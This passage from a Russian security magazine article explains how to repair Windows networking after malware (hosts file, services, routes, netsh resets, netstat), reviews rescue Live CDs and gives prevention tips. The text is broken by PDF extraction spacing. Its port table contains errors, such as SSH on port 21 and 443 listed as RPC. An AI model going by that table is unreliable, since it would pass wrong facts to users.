ки,  некор рек тно  отра баты вать,  что  в  конеч ном  сче те  спо соб но  пол ностью
положить нашу сеть.

Вос ста нав лива ем hosts
Боль ше  все го  на  све те  мал варь  любит  манипу лиро вать  с  фай лом  ,
который  находит ся  в  сис темной  дирек тории  по  пути 

.  По  сути,  это  обыч ный  тек сто вый  файл,  содер‐ 
жащий локаль ную базу дан ных домен ных имен и исполь зуемый при их тран‐ 
сля ции  в  сетевые  адре са.  При  раз решении  име ни  уда лен ного  хос та
или  веб‐сай та  зап рос  к  это му  фай лу  име ет  при ори тет  перед  обра щени ем
к DNS‐сер верам, про писан ным в нас трой ках сетевой кар ты. Мал варь редак‐ 
тиру ет этот файл таким обра зом, что бы все сай ты раз работ чиков анти вирус‐ 
ного  ПО  ока зались  недос тупны ми  вмес те  с  репози тори ями,  содер жащими
обновлен ные анти вирус ные сиг натуры.

hosts
%SystemRoot%\sys‐

tem32\drivers\etc\hosts

Дру гой  кейс —  это  исполь зование  дан ного  фай ла  с  целью  фишин га,  то
есть перенап равле ния с  IP‐адре сов легаль ных ресур сов,  таких  как соци аль‐ 
ные  сети,  онлайн‐банк,  на  их  под дель ные  ана логи.  Но  и  решение  дан ной
проб лемы  тоже  доволь но  прос тое. Дос таточ но  будет  заменить  изме нен ный
hosts на ори гиналь ный файл, к при меру взя тый из резер вной копии, или даже
вов се  заменить его пус тым фай лом,  не  содер жащим записей,  но име ющим
ука зан ное  имя  и  рас полага ющим ся  по  ука зан ному  пути.  Кста ти,  нелиш не
было бы про верить, где hosts дол жен лежать в дан ном экзем пля ре сис темы,
пос коль ку любое зна чение по умол чанию мож но изме нить. Точ ный путь рас‐ 
положе ния  фай ла  мож но  узнать  в  клю че  реес тра  по  пути 

.

HKEY_LOCAL_MA‐
CHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Data‐
BasePath

Вос ста нав лива ем работу сетевых служб
Вто рое, на что сто ит обра тить вни мание при вос ста нов лении работос пособ‐ 
ности сети, — это сос тояние запущен ных сетевых служб Windows. Есть слу‐ 
чаи,  ког да злов ред намерен но оста нав лива ет сетевую служ бу или ста вит ее
на  паузу  для  собс твен ных манипу ляций,  а  пос ле  не  успе вает  переза пус тить
или  дела ет  это  с  ошиб кой.  В  резуль тате  у  нас  бло киру ется  обмен  сетевым
тра фиком. Вари антов тут нес коль ко. Мож но зай ти через «Панель управле ния
→  Адми нис три рова ние → Служ бы» или по‐быс тро му  запус тить  ту же самую
кон соль  через Win  +  R,  написав  services.msc. Мы  видим  спи сок  всех  служб
Windows, нас в дан ном слу чае инте ресу ют толь ко нес коль ко  :се тевых

DHCP‐кли ент;•
DNS‐кли ент;•
веб‐кли ент;•
ав тонас трой ка WWAN;•
агент полити ки IPsec (если у тебя про кину ты VPN‐сес сии);•
бран дма уэр Windows (если исполь зует ся штат ный фай рвол);•
ло катор уда лен ного вызова про цедур (RPC);•
мар шру тиза ция  и  уда лен ный  дос туп  (ты  зна ешь  об  этом,  если  тебе
это реаль но нуж но).

•

Эти  служ бы  дол жны  находить ся  в  сос тоянии  «Запуще ны/Работа ют».  Если
это не так, то мож но щел кнуть по каж дому ука зан ному эле мен ту, про валить ся
в  отдель ное  окно,  где,  нажав  на  соот ветс тву ющую  кноп ку,  запус тить
или переза пус тить сер вис.

Ну  и  нас тоящий  про фес сиональ ный  вари ант  —  это  работа  в  кон соли.
Откры ваем CMD, пишем в нем   или   и видим,
какие служ бы сей час запуще ны.

net start net start | more

Что бы запус тить служ бу, тут же из кон соли дос таточ но наб рать 
.  Пом нить  наз вания  всех  служб  необя затель но,  дос таточ но

будет  пос мотреть  под робное  инфо  с  помощью  коман ды 
 или гля нуть  .

net start
<имя  службы>

sc  query  type=
service state= all го товый спи сок тут

Из кон соли любую служ бу мож но запус тить по коман де 
, нап ример стар тануть DNS мож но так:

net start <имя
службы>

net start DNS

Итак,  служ бы  мы  налади ли,  но  сеть  по‐преж нему  недос тупна  или  работа ет
с перебо ями? Идем даль ше!

Пра вим мар шру тиза цию и про веря ем пор ты
Мал варь  может  про писы вать  динами чес кие  мар шру ты  в  локаль ную  таб лицу
мар шру тиза ции Windows и менять  таким обра зом обмен сетевым тра фиком
с дру гими хос тами. Нап ример, если наша машина получа ет все сетевые нас‐ 
трой ки по DHCP‐про токо лу, в слу чае его некор рек тной работы мы оста нем ся
без интерне та. При дет ся сно ва лезть в кон соль!

Что бы  уда лить  новые  мар шру ты  и  вер нуть  таб лицу  мар шру тиза ции
к исходно му виду, набира ем соот ветс твен но

route print
route delete *

Иног да  это го  может  ока зать ся  мало  и  при ходит ся  сбра сывать  нас трой ки
к зна чени ям по умол чанию. Вво дим коман ды

netsh interface reset all
netsh winsock reset
netsh firewall reset
netsh winhttp reset proxy

Эти  коман ды  переза писы вают  клю чи  в  реес тре  на  зна чения  по  умол чанию
(как пос ле пере уста нов ки вин ды):

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
SYSTEM\CurrentControlSet\Services\DHCP\Parameters

В слу чае если сетевые нас трой ки машина получа ет по DHCP, при годят ся сле‐ 
дующие  коман ды.  Если,  нап ример, DNS‐сер вер  не  отве чает  или  не  уда ется
най ти  DNS‐адрес  сер вера,  то  мож но  выпол нить  толь ко  сброс  DNS  такой
коман дой:

ipconfig /flushdns

Ес ли не помога ет, мож но пой ти на более радикаль ные меры, выпол нив

ipconfig /release
// подождать несколько секунд или минут
ipconfig /renew

Эти  коман ды  пол ностью  обно вят  кон фиг  сети,  выдан ный  тво ей  машине
локаль ным DHCP‐сер вером.

Те перь нуж но ска зать о  ,  то есть  тех интерфей сах,  через  которые,
по  сути,  и  идет  обмен  пакета ми.  Может  стать ся,  что  мал варь  залочи ла
какой‐то  важ ный  сис темный  порт  или  прос лушива ет  один  из  сво бод ных
на пред мет команд, при ходя щих из внеш ней сети. Спи сок наибо лее важ ных
сис темных пор тов доволь но корот кий, его мож но прос то запом нить:

пор тах

SSH 21;•
DNS и DHCP 53,67, 68;•
email 25;•
web 80, 81;•
RPC 135, 443, 445.•

Пол ный  же  спи сок  сетевых  пор тов  мож но  гля нуть  в  любом  .
В боль шинс тве опе раци онных сис тем сос тояние сетевых служб мож но пос‐ 
мотреть при помощи коман ды

спра воч нике

netstat ‐an

Клю чи коман ды netstat:
 — отоб ражать все соеди нения и исполь зуемые пор ты;• ­a
  —  отоб ражать  чис ловой  иден тифика тор  про цес са,  отве чающе го

за кон крет ное соеди нение (Process ID, или поп росту PID);
• ­o

  —  ука зыва ет  ути лите  netstat  отоб ражать  реаль ные  IP‐адре са  и  циф‐ 
ровые зна чения пор тов вмес то их DNS‐имен.

• ­n

В выводе мож но уви деть сос тояние, в котором находит ся соеди нение:
Established — соеди нение уста нов лено (то есть кто‐то к тебе под клю чил ся
или ты к кому‐то под клю чил ся);

•

Listening  —  компь ютер  ожи дает  под клю чения  по  это му  пор ту,  то  есть
какая‐то прог рамма (про цесс в памяти) слу шает обра щение на этот порт;

•

Time_wait  —  прог рамма,  которая  прос лушива ет  порт,  ожи дает  при хода
пакета,  что бы  перевес ти  порт  в  одно  из  сос тояний,  либо  на  порт  дол го
не было обра щений и по тайм‐ауту прог рамма готовит ся его зак рыть. 

•

В  выводе  мы  видим  боль шой  лис тинг,  содер жащий  IP‐адре са  и  сос тояние
пор та.  К  сожале нию,  ассо циации  с  про цес сом  в  памяти  здесь  нет,  поэто му
при ходит ся  про яснять  это  вруч ную.  Через  знак    мы  видим,  какой  про цесс
при вязан  к  это му  IP‐адре су  (то  есть открыт  порт,  уста нов лено  соеди нение).
Теперь  нуж но  най ти  этот  PID  в  лис тинге  про цес сов  коман дой 

  и  в  выводе  опре делить,  какое  при ложе ние  исполь зует  этот
сетевой поток. Либо мож но чуть упростить задачу — если тебе пре тит tasklist,
мож но  вос поль зовать ся  сис темным дис петче ром  задач.  Запус ти  его,  нажав
Ctrl + Shift + Esc, перей ди на вклад ку «Про цес сы». В меню «Вид» выбери пункт
«Выб рать  стол бцы»  и  отметь  стол бец  PID.  Нуж ный  про цесс  мож но  най ти
по зна чению это го стол бца.

:

tasklist  |
find  "3104"

Ес ли не хочешь работать в кон соли, для гра фичес кого вывода мож но вос‐ 
поль зовать ся ути лита ми  ,  ,  .Process Explorer TCPView Nirsoft CurrPorts

Ок но ути литы TCPView

Ок но ути литы Nirsoft CurrPorts

Спи сок  сетевых  служб  и  соот носящих ся  с  ними  резер вирован ных  пор тов
для    сис тем  мож но  пос мотреть  в  фай ле 

 — это тоже по сути тек сто вый файл без рас ширения,
который дос тупен к прос мотру любым блок нотом.

NT‐шных %SystemRoot%\system32\
drivers\etc\services

И напос ледок для все го из опи сан ного выше, что мы делали руками, мож‐ 
но исполь зовать тул зы, к при меру  . Дан ная ути лита вос ста нав‐ 
лива ет  клю чи  реес тра  сетевых  нас тро ек  сис темы  со  зна чени ями  по  умол‐ 
чанию. Помимо это го, она так же:

WinSock XP Fix

про веря ет  файл  hosts  на  пра виль ность  ука зате ля  localhost  (обя зан  ссы‐ 
лать ся на адрес 127.0.0.1);

•

соз дает бэкап текущих сис темных уста новок (по желанию поль зовате ля);•
от клю чает все сетевые адап теры и пере уста нав лива ет их парамет ры.•

Ок но ути литы WinSock XP Fix

На тив ная тул за с гра фичес ким интерфей сом  , о которой мы
говори ли,  выпол няет  то  же  самое,  что  и  коман ды  netsh  int  ip  reset  и  netsh
winsock  reset.  Ана логич на ей  тул за Reset  TCPIP,  которая  выпол няет  все опи‐ 
сан ные ком бинации кон соль ных команд под одним GUI.

Microsoft Easy Fix

Ок но ути литы Reset TCPIP

  —  еще  одна  хорошая  бес плат ная  тул за  пред назна чена
для исправ ления самых раз ных оши бок, свя зан ных с работой сети и интерне‐ 
та в Windows. Крат кий спи сок ее воз можнос тей:

NetAdapter  Repair

очис тить и испра вить файл hosts;•
вклю чить Ethernet и бес про вод ные адап теры сети;•
сбро сить Winsock и про токол TCP/IP;•
очис тить кеш DNS, таб лицы мар шру тиза ции, очис тить ста тичес кие IP под‐ 
клю чений;

•

пе резаг рузить NetBIOS.•

Ок но ути литы NetAdapter Repair

LIVE CD КАК СПАСАТЕЛЬНЫЙ КРУГ

И, про дол жая нашу тему, мы прос то не мог ли прой ти мимо рас ска за о Live CD
сбор ках, пред назна чен ных для вос ста нов ления сис темы. Изна чаль но 
позици они ровал ся как инс тру мент для выпол нения адми нис тра тив ных задач:
под готов ки жес тко го дис ка, опе ратив ного получе ния дос тупа к дан ным, хра‐ 
нящим ся на дис ках, и так далее. Сей час же Live CD напоми нают ско рее уни‐ 
вер саль ный спа сатель ный круг для реани мации сис темы в слу чае раз личных
падений,  в  том  чис ле  и  пос ле  вирус ной  ата ки.  Глав ное их  дос тоинс тво  зак‐ 
люча ется  в  том,  что  все  инс тру мен ты  соб раны  под  одним  капотом  и  могут
работать  парал лель но.  Но  есть  и  недос таток:  что бы  заг рузить ся  в  Live  CD
режиме,  нуж но  перезаг ружать  машину,  что  в  некото рых  слу чаях  для  нас
недопус тимо.

Livе CD

Все  извес тные  анти вирус ные  раз работ чики  име ют  бес плат ные  заг рузоч‐ 
ные дис ки для вос ста нов ления сис темы. Мы кра тень ко по ним про бежим ся,
но углублять ся в детали не ста нем — мы же догово рились в начале нашего
матери ала, что будем исполь зовать толь ко те инс тру мен ты, которые не явля‐ 
ются анти вирус ным ПО в чис том виде.

Продолжение статьи →

https://support.microsoft.com/ru-ru/help/929833/use-the-system-file-checker-tool-to-repair-missing-or-corrupted-system
https://ru.wikipedia.org/wiki/Ntoskrnl.exe
https://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D0%BE%D0%B9_%D0%B0%D0%BF%D0%BF%D0%B0%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D1%85_%D0%B0%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%86%D0%B8%D0%B9
https://ru.wikipedia.org/wiki/Kernel32.dll
https://ru.wikipedia.org/wiki/NTLDR
https://ru.wikipedia.org/wiki/Ntdetect.com
https://slimdrivers.en.softonic.com/download
https://double-driver.en.softonic.com/
https://support.microsoft.com/ru-ru/help/2970908/how-to-use-microsoft-easy-fix-solutions
http://www.thewindowsclub.com/fixwin-for-windows-10
http://www.tweaking.com/content/page/windows_repair_all_in_one.html
https://ru.wikipedia.org/wiki/Hosts
https://paulkravchenko.wordpress.com/2010/12/13/windows-7-services/
http://cmd4win.ru/administrirovanie-computera/systemnoye-administrorovanie/968-perechen-sluzhb-windows
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D1%82_(%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D0%B5_%D1%81%D0%B5%D1%82%D0%B8)
https://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%BF%D0%BE%D1%80%D1%82%D0%BE%D0%B2_TCP_%D0%B8_UDP
https://technet.microsoft.com/ru-ru/sysinternals/processexplorer.aspx
https://technet.microsoft.com/ruru/sysinternals/tcpview.aspx
http://www.nirsoft.net/utils/cports.html
https://ru.wikipedia.org/wiki/Windows_NT
http://www.softpedia.com/get/System/OS-Enhancements/WinSock-XP-Fix.shtml
https://support.microsoft.com/ru-ru/help/2970908/how-to-use-microsoft-easy-fix-solutions
https://sourceforge.net/projects/netadapter/
https://ru.wikipedia.org/wiki/Live_CD


MALWARE

КАК НЕ ЗАРАЗИТЬСЯ
ЧТО ДЕЛАТЬ, ЕСЛИ ВИРУС ПРОНИК

КАК ВОССТАНОВИТЬ СИСТЕМУ ПОСЛЕ ПОБЕДЫ

•
•
•

 НАЧАЛО СТАТЬИ←

Live CD от вен доров анти вирус ного ПО

 — как ты уже понял, это ава рий ный Live Disk на базе
Gentoo Linux от рос сий ско го вен дора «Лабора тория Кас пер ско го». Сре да
вос ста нов ления  содер жит  бра узер,  фай ловый  менед жер,  редак тор  сис‐ 
темно го  реес тра Windows.  Помимо  это го,  есть  воз можность  обновле ния
анти вирус ных баз анти виру са Kaspersky.

• Kaspersky Rescue Disk

Ра бочий стол сре ды Kaspersky Rescue Disk

 — Live CD от ком пании Dr.Web, пос тро енный на базе Gen‐
too Linux. В чис ле инс тру мен тария Dr.Web Live CD — средс тво диаг ности ки
опе ратив ной памяти, ути лита для прав ки сис темно го реес тра, обновле ние
анти вирус ных  баз,  дос туп  к  интерне ту  через  бра узер  Mozilla  Firefox,  два
фай ловых менед жера и анти вирус ное средс тво (ути лита Dr.Web CureIt!).

• Dr.Web Live CD

Ра бочий стол сре ды Dr.Web Live CD

 — Live CD от немец кого про изво дите ля. Дас ист
гут! Поз воля ет получить дос туп к дан ным в фай ловом менед жере, содер‐ 
жит редак тор реес тра Avira Registry Editor и пус кает тебя в интернет через
Mozilla  Firefox.  С  помощью  встро енной  TeamViewer  поз воля ет  уста нав‐ 
ливать  уда лен ное  под клю чение,  а    пос редс твом GParted —  перерас пре‐ 
делять дис ковое прос транс тво.

• Avira Antivir Rescue System

Ра бочий стол сре ды Avira Antivir Rescue System

Уни вер саль ные Live CD сбор ки

 — это диск, в котором соб рано мно жес тво раз личных прог‐ 
рамм, в том чис ле и работа ющих в режиме DOS. Ком плект пос тавки Hiren’s
BootCD пре дус матри вает не толь ко непос редс твен но ISO‐образ заг рузоч‐ 
ного дис ка, но и ути литу для его записи на опти чес кий диск, а так же ути‐ 
литу  HBCDCustomizer  для  соз дания  обра зов  заг рузоч ных  дис ков  с  поль‐ 
зователь ским содер жимым.

• Hiren’s BootCD

Ме ню Hiren’s BootCD пос ле заг рузки

 — извес тная уни вер саль ная сре да вос ста нов ления, соз‐ 
данная  на  базе  дис три бути ва  Gentoo  Linux.  Содер жит  инс тру мен ты
для работы с жес тким дис ком — раз бивки на раз делы, диаг ности ки, сох‐ 
ранения  и  вос ста нов ления  раз делов.  Уме ет  мон тировать  раз делы  Win‐
dows NTFS для чте ния и записи. Содер жит так же средс тва для нас трой ки
сети, сетевых сер висов, средс тва поис ка рут китов и анти вирус.

• SystemRescueCd

Ме ню заг рузоч ного дис ка SystemRescueCd

 — наворо чен ный и потому  уни вер саль ный заг‐ 
рузоч ный  диск  для  вос ста нов ления  сис темы,  пос тро енный  на  базе  Win‐
dows XP. Работа ет с любых носите лей — CD, фле шек, USB‐HDD и дру гих.
Содер жит  набор  све жих  анти виру сов,  ути лит  для  работы  с  дис ками
и  обра зами,  бэкапа  и  под нятия  сис темы,  вос ста нов ления  потерян ной
информа ции  и  паролей,  соз дания  новых  адми нис тра тор ских  учет ных
записей, воз вра та на точ ки отка та и мно гого дру гого.

• Alkid Live CD and USB

Ме ню заг рузоч ного дис ка Alkid Live CD and USB

КАК НЕ ЗАРАЗИТЬСЯ: ГЛАВНЫЕ СОВЕТЫ

Не исполь зуй пра ва локаль ного адми нис тра тора. Вклю чи UAC

Это баналь но,  но мы будем пов торять  эти прос тые исти ны до  тех пор,  пока
хотя бы 15% поль зовате лей не вос при мут их как руководс тво к дей ствию. :)

Сле ди за обновле ниями сис темы и сво евре мен но накаты вай se-

curity update

Вот они,  наши ста рые и  новые друзья: WannaCry,  ,    и  (новый)
.

Petya Conficker
Bad Rabbit

Все  они  активно  исполь зуют  уяз вимос ти  как  сис темно го ПО,  так  и  прик‐ 
ладных  прог рамм.  Обно ви  прик ладное  ПО.  Осо бен но  бра узер.  Пом ни,  что
мал варь исполь зует уяз вимос ти не толь ко сис темы, но и   или их

.
веб‐движ ков

ком понен тов
Кста ти, если ты счи таешь этот совет глу пым, вот тебе информа ция к раз‐ 

мышле нию:  где‐то  поб лизос ти  сущес тву ют  люди  (десят ки  тысяч  людей),
у  которых  на  ком пе  гнез дится  софт  с  уяз вимос тями  десяти лет ней  (!)  дав‐ 
ности.

Как показы вает неумо лимая ста тис тика, дыры в ПО, най ден ные еще мно го
лет назад, могут быть до сих пор  , в Windows 10 мож но экс плу‐ 
ати ровать баг,   аж в 1997 году. Не луч ше дела обсто ят и с 

 и  .

не исправ лены
об наружен ный бра‐ 

узе рами мо биль ными плат форма ми

Про качай свой бра узер

Нас трой пра виль но

По лез ной  опци ей  бра узе ра может  ока зать ся  «Пре дуп реждать  о  небезо пас‐ 
ных сай тах», которая при перехо де на подоз ритель ный (ломан ный или инфи‐ 
циро ван ный) сайт обя затель но тебе сооб щит об этом. Точ но так же бра узер
уве домит, если на сай те исполь зует ся незащи щен ный про токол HTTP вмес то
безопас ного  .  Бра узер  может  и  срав нить  пароли  при  соз дании  их
в веб‐фор мах и напом нить, как нехоро шо юзать один и тот же пасс для всех
под ряд сер висов.

HTTPS

Неп лохой  гайд  по  нас трой кам  безопас ности  для  раз личных  бра узе ров
мож но  пос мотреть  .  А  вот    при веде ны  при меры  уси лен ных  нас тро ек
безопас ности для пос ледней на сегод ня 11‐й вер сии Internet Explorer.

тут тут

До лой скрип ты

Для  защиты  бра узе ра  нам  нуж но  миними зиро вать  количес тво  скрип тов,
которые  могут  выпол нять ся,  нап ример  .
Хорошим  под спорь ем  ста нут  бло киров щики  рек ламы,  бан неров  и  всплы‐ 
вающих окон, такие, нап ример, как AdBlock, Adblock Plus.

от клю чить  выпол нение  Java

Ус танови допол нения

По лез ные  рас ширения  бра узе ра  помогут  обе зопа сить  машину  от  потен‐ 
циаль ного  зараже ния. Перечис лим  рас ширения  для  трех  самых  популяр ных
во всем мире бра узе ров: Chrome, Opera и, конеч но же, Internet Explorer, пос‐ 
коль ку мно гие еще до сих пор сидят на преж них вер сиях Windows, в которых
IE идет по умол чанию.

Для Chrome

 — популяр ный филь тр навяз чивой и не очень бан нерной рек ламы.
Час то на заражен ных сай тах вре донос ный код может содер жать ся в неп‐ 
римет ных бан нерах и ссыл ках,  замас кирован ных под всплы вающие окна.
AdBlock от все го это го изба вит.

• AdBlock

 — некото рые сай ты исполь зуют Flash для «твор ческо го» сбо ра
кукисов и отсле жива ния  тво их дей ствий.  Уста нов ка Flash Block даст  тебе
руч ной  кон троль  над  стра ница ми  —  поз волять  заг ружать  Flash‐кон тент
или нет, реша ешь ты.

• Flash Block

  —  край не  полез ное  допол нение,  соз данное  для  кон тро ля
над сай тами, исполь зующи ми JavaScript‐код.

• ScriptSafe

 — час то стал кивал ся с тем, что нуж но оста вить свой поч товый
ящик при регис тра ции для дос тупа к сай ту или форуму или прос то что бы
про читать  статью?  BugMeNot  пре дос тавля ет  безопас ную  и  ано ним ную
аль тер нативу.

• BugMeNot

  —  допол нение,  фор сиру ющее  исполь зование  Secure
Socket Layer (SSL).

• KB  SSL  Enforcer

 —  целый  набор  инс тру мен тов  для  безопас ного  сер‐ 
финга. Уме ет так же пре дуп реждать о сай тах груп пы рис ка, которые обма‐ 
ныва ют кли ентов, рас сылая вирусы или спам.

• WOT  (Web  of  Trust)

Для Opera

  —  рас ширение,  которое  пере опре деля ет  зап росы
к  сай там  и  при нуди тель но  акти виру ет  HTTPS.  Решение  зашиф ровыва ет
соеди нения с сай тами, делая сер финг в интерне те безопас нее.

• HTTPS  Everywhere

  —  веб‐филь тр  Avira  для  бра узе ра,  вклю чающий
безопас ный  поиск,  безопас ный  прос мотр  сай тов,  защиту  от  сле жения
и бло киров щик рек ламы на базе Adguard.

• Avira  Browser  Safety

  —  бес плат ный  пла гин  от  Intel  Security,  обес печива‐ 
ющий  защиту  от  вре донос ных,  фишин говых  и  мошен ничес ких  сай тов
и вре донос ных заг рузок.

• McAfee  WebAdvisor

 —  инте рак тивный  бло киров щик  любых  типов  зап росов  бра узе ра.
Поз воля ет  зап ретить  заг рузку  скрип тов,  фрей мов,  пла гинов,  рек ламы
и про чего.

• uMatrix

  —  рас ширение,  которое  обес печива ет  защиту
от фишин га,  онлайн‐мошен ничес тва, меж сай тового  скрип тинга  во  вре мя
сер финга  в  интерне те  и  пре дос тавля ет  ком плексную  информа цию
о посеща емых веб‐сай тах.

• Netcraft  Extension

Для IE

 —  пароль ный менед жер.  LastPass  пред лага ет  такую же фун кци‐ 
ональ ность,  как  его  ана логи  в  виде  отдель но  уста нав лива емо го  на  комп
при ложе ния, вклю чая генера цию и безопас ное хра нение паролей.

• LastPass

 пре дуп режда ет, если сайт потен циаль но опа сен для посеще‐ 
ния.

• Web of Trust

 — инс тру мент для резер вно го  копиро вания и вос ста нов ления
про филя нас трой ки Internet Explorer.

• FavBackup

Не удив ляй ся  тому,  что мы вклю чили сюда  IE, — поль зовать ся этим 
 бра узе ром мы никому не совету ем, но он до пос ледне го вре мени

фигури ровал как обя затель ный в некото рых сис темах ДБО.

глу боко
уяз вимым

Ис поль зуй VPN

По мимо оче вид ной ано ним ности, VPN полез на еще и тем, что в слу чае перех‐ 
вата  тра фика  не  даст  хакеру  заполу чить  то,  что  он  намере вал ся.  Если
говорить  о  бес плат ных  VPN‐сер висах,  то мож но юзать    в  качес тве
кли ента, а нас трой ки для под клю чений брать на сай те  . Но, если чес‐ 
тно,  у  нас  у  всех  VPN  куп ленный,  а  к  халяв ному  VPN  мы  бы  стре мить ся
не совето вали. ;) Вот инте рес ные ком мерчес кие VPN‐сер висы:

OpenVPN
FreeVPN

 — один из кру тей ших VPN‐сер висов в Рос сии, судя
по количес тву наг рад, которые он получил. Фиш ка PIA в том, что он обес‐ 
печива ет не толь ко шиф рование тра фика, но и ано ними зацию с отвязкой
от реги ональ ного рас положе ния. На выбор поль зовате ля дос тупно поряд‐ 
ка тысячи сер веров, рас положен ных в десяти раз ных стра нах. При том PIA
не хра нит логи, не зап реща ет никакие про токо лы и IP‐адре са и не хра нит
у себя информа цию о дей стви ях поль зовате лей. Сто имость услуг начина‐ 
ется с семи дол ларов в месяц. Воз можно под клю чение до пяти раз личных
устрой ств.

• Private Internet Access

 — дав но  хорошо зареко мен довав ший себя VPN‐сер вис,
который,  как  и  осталь ные  учас тни ки  рей тин га,  заяв ляет  об  отсутс твии
логов  и  огра ниче ний  на  типы про токо лов  и  про ходя щий  тра фик. На  твой
выбор  сот ни  сер веров  из  23  стран  мира.  Сто имость  услу ги  начина ется
с  семи  дол ларов  в  месяц;  если  тре бует ся  под клю чить  боль ше  одно го
устрой ства, нуж но будет доп латить.

• CyberGhost VPN

 — прос лавлен ный VPN‐сер вис, вклю чающий мно жес тво фун кций
и  воз можнос тей: шиф рование  тра фика  с  помощью AES‐128,  встро енное
уско рение сер финга по сай там, высокос корос тные сер веры, рас положен‐ 
ные по все му миру. Сто имость от пяти дол ларов в месяц, проб ный пери‐ 
од — семь дней.

• ZenMate

Это  лишь  нес коль ко  при меров  VPN‐сер веров. Можешь  пос мотреть 
и выб рать сам.

рей тинг

До воль но  час то  слу чает ся,  что  зак рыва ешь  веб‐стра нич ку  на  каком‐нибудь
дырявом сай те — и откры вает ся мил лион око шек в режиме «на весь экран»,
без воз можнос ти зак рыть их стан дар тным спо собом. Быва ет, что и управле‐ 
ние мыш кой тоже бло киру ется. Что же делать?
1. Свер нуть  окно  по  горячим  кла вишам  Win  +  Home  или  Win  +  D,  открыть
стан дар тный менед жер задач Windows ком бинаци ей Ctrl + Alt + Del и зак‐ 
рыть про цесс. В этом слу чае все несох ранен ные дан ные будут потеря ны.

2. Со чета нием Shift + Esc запус тить дис петчер задач бра узе ра, что поз волит,
не завер шая родитель ский про цесс, зак рыть толь ко   (thread), которую
заюзал  .

нить
popunder‐злов ред

Ис поль зуй секь юрный DNS

Неп лохо бы про писать в кон фиге сво его роуте ра или сетевой кар ты исполь‐ 
зовать DNS‐сер веры, филь тру ющие опас ный кон тент:
•  с Ян декс.DNS IP‐адре сами

77.88.8.88
77.88.8.2

• Cisco OpenDNS

208.67.222.222
208.67.220.220

• Norton ConnectSafe, под держи ваемый ком пани ей Symantec

199.85.126.10
199.85.127.10

За чисть под клю чаемые устрой ства и победи авто запуск

По бедить проб лему autorun.inf сто ило еще нес коль ко лет назад, поэто му нав‐ 
сегда отклю чи у себя  .ав тозапуск

Все  чужие флеш ки  луч ше  про верять  в  чис той  зоне  вир туаль ной  машины
или мон тировать запоми нающий том в  , которой они не страш ны. Чужие
флеш ки — реаль ное зло, зараже ны они, как мне кажет ся, в 80% слу чаев. :)

Linux

Нас трой фай рвол

Гра мот но нас тро енный бран дма уэр поможет сни зить пло щадь ата ки: зак роет
неис поль зуемые  пор ты,  разор вет  нецеле вые  TCP/UDP‐сес сии  и  будет  кон‐ 
тро лиро вать при ложе ния,  которые сту чат ся в сеть изнутри. Линук соиды тра‐ 
дици онно  ува жают  ,  нас тра ивать  которую  мож но  как  в  ,  так
и исполь зуя при выч ный мно гим  . В Windows есть встро енный
бран дма уэр, мож но нас тра ивать его через   или исполь зовать
более гиб кую GUI‐надс трой ку  .

iptables кон соли
GUI‐интерфейс

штат ную панель
Windows Firewall Control

За будь про вло жения и непонят ные ссыл ки

Тут  и  говорить  нечего.  Если  очень  инте рес но  —  откры вай  на  вир туаль ной
машине  с  «Линук сом»  :).  Про верить,  находит ся  ли  сайт  в  чер ном  спис ке
и   и подоз ритель ные скрип ты, мож но, нап‐ 
ример,  исполь зуя  бес плат ные  онлайн‐ска неры  ,    и  всем
извес тный и хорошо зареко мен довав ший себя  .

есть ли на нем опас ные редирек ты
Sucuri ReScan.pro

VirusTotal

За что бьют сисопа? За отсутс твие бэкапа. Тебя это тоже каса -

ется

Ком мерчес кие бэкап‐решения сей час у всех на слу ху, они обла дают впе чат‐ 
ляющи ми воз можнос тями, вклю чая даже защиту информа ции от шиф роваль‐ 
щиков и механиз мы резер вно го копиро вания информа ции в тво их соц сетях.
Бес плат ные решения не столь удоб ны, но и они все еще живее всех живых.

  —  это  пол ностью  бес плат ное  прог рам мное  обес печение
с откры тым исходным кодом. Дан ная соф тинка реали зова на по прин ципу
пошаго вого мас тера и работа ет поч ти в тек сто вом режиме, без гра фичес‐ 
кого интерфей са. Прог рамма отлично под ходит для кло ниро вания дис ков
и отдель ных раз делов жес тко го дис ка, а так же соз дания резер вных копий
и ава рий ного вос ста нов ления сис темы.

• Clonezilla

Ин терфейс Clonezilla

 — набор ути лит от извес тно го
раз работ чика Paragon Software, поз воля ющих соз давать, фор матиро вать,
уда лять раз делы, пря тать или откры вать их, наз начать бук ву и менять мет ку
тома, выпол нять про вер ку целос тнос ти фай ловой сис темы. Отдель но сто‐ 
ит  отме тить,  что  резер вирова ние  дан ных  может  быть  выпол нено  в  так
называ емый  кап сюль,  то  есть  в  скры тый  раз дел,  который  невоз можно
смон тировать и уви деть в опе раци онной сис теме.

• Paragon Backup & Recovery 16 Free Edition

Ин терфейс Paragon Backup & Recovery 16 Free Edition

OUTRO

Сов ремен ная  мал варь  исполь зует  все  воз можные  спо собы  и  уяз вимос ти,
что бы  инфи циро вать  сис тему  жер твы.  Поэто му  и  для  борь бы  с  ней  необ‐ 
ходимо  прив лекать  микс  всех  тех ник  про тиво дей ствия,  при веден ных  в  нас‐ 
тоящем матери але.  С  одним  инс тру мен том  эффектив ность  будет  низ кой —
толь ко  воору жив шись  всем  арсе налом,  ты  получа ешь  реаль ный  шанс  дать
дос той ный отпор злов редам!

http://support.kaspersky.ru/viruses/rescuedisk
http://www.freedrweb.com/livedisk/
https://www.avira.com/en/download/product/avira-rescue-system
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Этой  осенью  Windows  10  обно вилась  до  вер‐ 

сии 1709 с кодовым наз вани ем Fall Creators Update или Red‐

stone  3.  Сре ди  мно жес тва  изме нений  нас  преж де  все го

заин тересо вала  улуч шенная  защита  от  неиз вес тных  злов‐ 

редов.  В  Microsoft  при няли  ряд  мер  для  про тиво дей ствия

тро янам‐шиф роваль щикам и экс пло итам. Нас коль ко же они

ока зались успешны?

СТАРЫЙ НОВЫЙ ЗАЩИТНИК
Все новое — это хорошо реб ренди рован ное ста рое. В «осен нем обновле нии

для  дизай неров»  встро енные  ком понен ты  защиты  объ еди нили  в  «Цен тре

